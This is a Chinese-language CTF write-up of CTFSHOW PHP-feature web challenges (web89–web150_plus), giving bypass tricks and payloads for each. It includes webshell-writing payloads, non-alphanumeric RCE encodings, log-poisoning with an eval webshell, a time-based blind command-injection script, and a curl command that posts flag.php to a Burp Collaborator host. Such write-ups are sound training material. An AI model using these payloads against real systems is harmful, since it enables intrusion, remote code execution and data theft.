【Web】CTFSHOW PHP特性刷题记录(全)

这篇具有很好参考价值的文章主要介绍了【Web】CTFSHOW PHP特性刷题记录(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

知其然知其所以然,尽量把每种特性都详细讲明白。

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110

web111

web112

web113

web114

web115

web123

web125

web126

web127

web128

web129

web130

web131

web132

web133

web134

web135

web136

web137

web138

web139

web140

web141

web142

web143

web144

web145

web146

web147

web148

web149

web150

web150_plus


web89

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

向preg_match中传参数组会报错,可绕过preg_match

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

intval函数如果接收一个对象会返回1,而PHP 中的数组也可以看做是一种对象。在 PHP 中,数组是通过内置的 Array 类实现的。这个类提供了多种方法和属性,用于操作和管理数组。因此,我们可以将数组看作是一个对象,通过调用其方法和属性来实现对数组的操作。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

我们可以本地跑一下,验证这个特性。

<?php

$arr=array(0=>'0x401');
$res=intval($arr);
echo $res;

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

payload:

?num[]=0x401

web90

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

intval里参数base=0,就把选择进制的权利交给了输入者,我们可以用16进制或8进制来绕过

?num=0x117c
?num=010574

web91

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

在正则表达式中,/im 是用于设置匹配模式的标志之一。它由两个字母组成:im

  1. i(不区分大小写):该标志表示进行大小写不敏感的匹配。当使用 i 标志时,正则表达式将不区分字母的大小写。例如,正则表达式 /hello/i 可以匹配 "hello"、"Hello"、"HELLO" 等。

  2. m(多行模式):该标志表示进行多行匹配。当使用 m 标志时,正则表达式中的 ^$ 元字符将分别匹配行的开头和结尾,而不仅仅是整个字符串的开头和结尾。例如,正则表达式 /^hello/m 可以匹配以 "hello" 开头的每一行。

我们可以本地跑几个例子理解一下啥是多行模式

<?php

$a="abc123\nabc123cde";
if(preg_match('/^abc.*cde$/m', $a)){
    echo 'hacker1';
} 
echo '<br>';
$b="abc123cde\nabc123";
if(preg_match('/^abc.*cde$/m', $b)){
    echo 'hacker2';
} 
echo '<br>';
$c="abc123\n123cde";
if(preg_match('/^abc.*cde$/m', $c)){
    echo 'hacker3';
} 

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

不难发现,多行内容只要有一行内容符合正则表达式就可以返回true,但如果多行不符合正则的内容拼接起来而符合正则时,则只会返回false。

我们再来看单行内容

<?php
if (preg_match('/^flag$/', $_GET['a'])) {
    echo 'success';
}
else echo 'no!';
?flag=%0aflag   //no!
?flag=flag%0a   //success

 我们发现其只对第一行内容进行判断

结合以上分析不难得出下面的payload

?cmd=%0aphp

web92

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 和上面一样,进制绕过即可

?num=0x117C
?num=010574

web93

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 过滤了小写字母,8进制就可

?num=010574

web94

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 主要是解读strpos

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

要想不进这个判断

if(!strpos($num, "0")){die("no no no!");}

我们就要让strpos返回一个不为0的数字或者TRUE,也就是在除了字符串首的地方加一个0即可。

不难推出payload

?num=4476.0

web95

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 多过滤了'.',遇事不决用空格。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

mixed类型的$var自带一个隐式类型转换,所以%20401会转换成401(%20是空格的url编码)

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

我们可以本地测一下

<?php
$num=$_GET['num'];
if(intval($num,0)===4476){
    echo 'success';
}
else{
    echo 'no!';
}
?num= 4476

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

因为%20已经占了第一个字符了,所以我们又可以用八进制绕过。

最终payload:

?num=%20010574

web96

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

ban了相对路径,我们用绝对路径就可以。这里也可以用file协议哈

?u=/var/www/html/flag.php
?u=file:///var/www/html/flag.php

web97

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 md5传数组即可绕过

我们可以本地测一下

<?php
$num=array(0=>1);
echo (md5($num)===NULL);

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过 这里可以看出给md5传参数组会返回一个NULL

所以不管数组内容为什么,比较时都是NULL===NULL,也就顺利绕过了。

最终payload:

a[]=1&b[]=2

web98

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 三元运算符不解释

只要get传值就可以把$_GET=&$_POST(就是C语言传址那个)

然后就顺利highlight_file($flag);

?1=1
post:HTTP_FLAG=flag

web99

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 很明显数组里出现可能性最大的数字是1

那么1.php能匹配到数组元素1吗

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

我们本地搭一下

<?php
$arr=array(0=>1);
if(in_array('1.php', $arr)){
    echo 'success';
}

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 可以过,为什么呢?因为当mixed类型的needle与数组haystack中元素进行比较时会进行一个隐式类型转换。

最终payload:

?n=1.php
post:content=<?php eval($_POST[1]);?>

成功写马,下略。

web100

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

这段代码,因为赋值运算优先级高于逻辑运算,所以要进if($v0),只要让$v1为数字就可,对$v2和$v3没有要求。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 

 这里我们介绍下PHP的反射类ReflectionClass

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

通过echo可以调用 ReflectionClass的__toString()方法,从而输出参数类的具体信息

题目说flag在ctfshow类里,刚好可以利用。

最终payload:

?v1=1&v2=echo new ReflectionClass&v3=;

输出结果如下

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

web101

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

和上一题一样,不解释

?v1=1&v2=echo new ReflectionClass&v3=;

web102

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

$v4还是赋值语句优先级大于逻辑语句,所以只要让v2为数字即可。

v2得是数字??????我测,拿数字当参数的回调函数真的有吗?

还真有,比如hex2bin,当数字为科学计数法时可以将其解读为16进制转字符串。

然后要把这个字符串当文件内容写入$v3,$v3可以是带过滤器的伪协议。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

在 Base64 编码中,末尾的 = 字符通常用于填充,以确保编码后的字符串长度是4的倍数。这是因为 Base64 编码是按照每3个字节编码为4个字符的规则进行的,如果数据长度不是3的倍数,就需要使用 = 字符进行填充。

所以删除末尾的'='并不会改变解码结果

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

再字符串转hex,神奇的发现其是只带e的字符串,也可以解读为科学计数法。

因为$s从第二位开始截,所以前面要随便加两个数字。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

最终payload:

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin

web103

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

你过滤php和我hex字符串有什么关系

继续上一题payload

web104

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

?v2[]=1
post:v1[]=2

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过 sha1和md5一样都是哈希算法,如果传数组都会warning且返回一个null

数组绕过即可

web105

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

$$一眼变量覆盖

?temp=flag
post:error=temp

通过temp作为中间转接量,最终达到把$error的值覆盖成$flag,并通过die输出。

web106

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

经典数组绕过,不解释

?v2[]=2
post:v1[]=1

web107

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

parse_str还是变量覆盖

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 payload:

?v3[]=1
post:v1=flag=

空等于空,等式成立

web108

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

ereg需要纯字母,intval要反转后等于0x36d

php也是C语言写的,所以字符串只读到\00结束

我们可以本地测一下

<?php
$a=$_GET['a'];
if(preg_match('/^[a-zA-Z]+$/', $a)){
    echo 'success1';
}
echo '<br>';
if(@ereg('^[a-zA-Z]+$', $a)){
    echo 'success2';
}
?a=abc%00123

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 可以发现ereg函数存在NULL截断漏洞,这里要用到00截断,而preg_match不存在

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

payload:

?c=a%00778

web109

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

对v2后面的括号进行解释,如v2=system(ls),$v2()会把$v2返回的值会作为函数名去调用,但是调用失败了。

只要变量后面紧跟着(),那么对这个变量进行函数调用。

调用失败归失败,但是函数本身已经执行就可。

最常用的带__toString的类就Exception()呗

最终payload:

?v1=Exception&v2=system('tac fl36dg.txt')

web110

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类

getcwd()函数 获取当前工作目录 返回当前工作目录

最终payload:

?v1=FilesystemIterator&v2=getcwd

返回的是当前目录的第一个文件

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

访问拿到flag

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

web111

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

getFlag函数是个变量覆盖,把$v1覆盖成$v2

?v1=ctfshow&v2=flag

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

擦,是空的,我踏马直接全局变量

在 PHP 中,$GLOBALS 是一个包含了全局变量的关联数组。它可以访问在脚本中定义的任何全局变量,不论其作用域。

然后var_dump出全局变量的数组

?v1=ctfshow&v2=GLOBALS

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

web112

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 is_file()函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。

用伪协议即可

?file=php://filter/resource=flag.php

web113

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 问就是积累一下吧(

?file=compress.zlib://flag.php

web114

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

又把filter放出来了

?file=php://filter/resource=flag.php

web115

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

肯定是36前后加东西呗

 建议直接拿脚本跑一下

<?php
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'36';
if(trim($x)!=='36' &&  is_numeric($x) && filter($x)=='36' && trim($x)!=='36' && $x=='36'){
echo urlencode(chr($i))."\t";
}
}

结果

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

payload:

?num=%0c36

web123

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 可以直接走变量覆盖,通过argv传参

?suibian=1+fl0g=flag_give_me

post:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])

 另一种变量覆盖情况

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

还可以直接命令执行来变量覆盖

CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;

 也可以命令注入,直接输出flag

CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

web125

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;

web126

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

终于上长度限制了(

还禁了一个不区分大小写的'o',相当于ban了$_POST;禁了一个不区分大小写的'c',相当于ban了extract

但我们还可以走argv来转接

?suibian=1+fl0g=flag_give_me

post:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])

web127

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 $SERVER['QUERY_STRING']可以用url编码直接绕过,因为它接受的是原始数据,不会将传入的参数进行url解码,但$_GET[]传参会直接url解码。

可以本地测一下

<?php
$a=$_SERVER['QUERY_STRING'];
echo $a;
echo '<br>';
var_dump($_GET);
?> 
?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64&b=Z3r4y

结果

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

不难推出,最终payload:

?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64

web128

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 确实是骚姿势,无数字字母的函数有什么呢?

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

gettext() 是 PHP 中用于国际化(i18n)和本地化(l10n)的函数,它用于在多语言环境下实现字符串翻译。

 _是gettext()的别名

在 gettext 中,如果找不到对应的翻译文本,它会返回原始的文本字符串。

在这题比如:

?f1=_&f2=phpinfo

这样可以弹phpinfo

而内部call_user_func返回值作为外部call_user_func的回调函数,这个函数必须是无参的,那答案已经呼之欲出了:

?f1=_&f2=get_defined_vars

直接输出已经注册的变量 。

web129

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

意思就是说ctfshow要在字符串里,且不能是ctfshow打头,然后进行一个文件的读。

把ctfshow写路径里就行了,反正目录穿越上一层后再下一层还是在穿越前的目录,哪怕ctfshow不存在也不影响。

?f=../../../../../../../ctfshow/../../../../var/www/html/flag.php

 成功读文件

web130

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

题目简介懂得都懂,一眼PCRE回溯上限绕过

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'ctfshow';
echo $b;

拿脚本生成的payload post传一下就好

web131

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'36Dctfshow';
echo $b;

改下脚本直接打就好。

web132

访问/robots.txt

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 访问/admin

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

与优先级大于或,不解释,那只要让username等于admin就能进第二层if,code=admin就能进第三层if

?username=admin&code=admin&password=1

web133

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 6个常规构造怎么可能够,肯定得想点新路子。

这里比较巧妙地用了变量覆盖进行转接来拓展长度。

已经知道flag路径可以利用Burp的 Collaborator Client外带

?F=`$F`; curl -X POST -F file=@flag.php http://pjc1chltz8fy3jeeacj7yv3x3o9fx4.burpcollaborator.net

 为啥不用ceye,因为在写这篇文章的时候ceye被和谐了(

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

web134

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

parse_str+extract两个变量覆盖当跳板

好说好说

payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 这题给写文件了,那不还是手到擒来~

?F=`$F `;nl flag.php >1.txt

访问1.txt即可

web136

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

一眼无回显rce,curl,nc这些ban了就不好反弹shell了,然后>写文件也被ban了,问题不大,还放了个tee,虽然ban了个'.' ,但无伤大雅。

在 Linux 中,tee 命令的输出可以存储到一个文件中,该文件可以没有后缀名。

?c=cat /f149_15_h3r3|tee 1

直接访问1即可

web137

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

因为没有包含flag.php,$flag变量没有被注册,所以不能直接get_defined_vars

那咋整呢,可以看看题目的ctfshow类,显然可以调用其静态方法来拿flag.php内容

ctfshow=ctfshow::getFlag

web138

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 ban了':',我们可以继续看php官方文档里call_user_func对类方法的调用:

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

发现传入一个数组,会将第一个元素作为类,第二个元素作为静态方法

post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 没法子,过滤太绝了,只能盲注

import requests

url = "http://15e87f4e-83d3-47f3-b553-82241a3bb631.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3  | cut -c {}` == \"{}\" ];then sleep 4;fi"

result = "+++++++++++++++++"

length=48

strings  = "abcdefghijklmnopqrstuvwxyz_-0123456789{}"

for c in range(1,length):
	print("+++++++++++++++第"+str(c)+"个字符")
	for s in strings:
		target = url+payload.format(c,s)
		#print(target)
		try:
			requests.get(target,timeout=2.5)
		except:
			result +=s
			print(result)
			break
	result += ""

print(result)

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

手动加两括号就行

web140

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 intval($code)只要为0就可以过掉弱类型

我比较喜欢用md5(md5()),他们的返回值是0,且好记。

<?php
$a=intval(md5(md5()));
if($a==0){
    die('ok!');
}

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

payload:

post:f1=md5&f2=md5

web141

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

\W:表示匹配任何非字母数字字符。等效于 [^A-Za-z0-9_]

一眼无字母数字RCE(eval里可以直接位运算)

问题就是$v1和$v2都是数字,不太好处理

我们可以本地先试通了

<?php
1-phpinfo()-1;

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

发现可以执行

ok最难的一步走好了,剩下的就是位运算八股了。

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

最终payload:

?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-

web142

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 正常写那不直接睡死了。所以要乘一个0,这样就可以瞬间拿到flag.php文件内容。

?v1=0

web143

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 ~被ban了,不让取反,但放了^,可以直接异或

ban了'-',问题不大

可以用'*'或'/'(关于为啥不用加号,因为加号传进去会变成空格QWQ)

可以本地跑了看看

<?php
1/phpinfo()/1;
// 1*phpinfo()*1;

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

ok接下来跑异或脚本(注意正则不同,最后的字典也不同)

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

最终payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

web144

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 就是多限制了一个$v3只能有一个数字,问题不大

本地试一下

<?php
1-phpinfo();

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

没有一点问题

OK下面直接取反

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

payload:

?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)

web145

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

ban了'^',放出了'~',还是取反

但加减乘除全ban了,这咋整,我们可以用三元运算

先本地试试

<?php
1?phpinfo():1;

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 下面脚本跑取反

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

最终payload:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 ':'也ban了,还能咋整

还有下面这种姿势:

本地跑

<?php
1|phpinfo()|1;

 【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 可以过。

取反RCE即可

最终payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|

web147

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

有经验的师傅,一眼就看出来了create_function注入(因为第一个参数为空)

问题就是怎么要过掉preg_match(没有eval所以不能位运算哈)

什么你想头铁试试?

食报错吧你!

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

所以可以写个脚本(虽然是半自动的hhh)

<?php
for ($i=32;$i<127;$i++){
    $a=chr($i).'create_function';
    if (!preg_match('/^[a-z0-9_]*$/isD',$a)){
        echo chr($i)." ";
    }
}

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

一个一个试过去就好,试出来'\'符合条件

最终payload:

?show=1;}system('tac f*');/*
post:ctf=\create_function

web148

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

无字母数字RCE,ban了'~',直接异或不解释

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

最终payload:

?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();

web149

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

乍一看像条件竞争,但也许我们可以直接釜底抽薪,修改index.php,根除删文件的问题。

?ctf=index.php
post:show=<?php eval($_POST[1]);?>

 拿shell后

post:1=system("tac /ctfshow_fl0g_here.txt");

web150

【Web】CTFSHOW PHP特性刷题记录(全),CTFSHOW刷题记录,php,ctfshow,web,ctf,php特性,网络安全,php绕过

 $isVIP可以用extract变量覆盖,然后文件包含不含':'的路径,那最简单不就日志包含嘛。

最终payload:

?isVIP=1
post:ctf=/var/log/nginx/access.log&a=system("tac fl*");
UA:<?php @eval($_POST[a]);?>

web150_plus

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
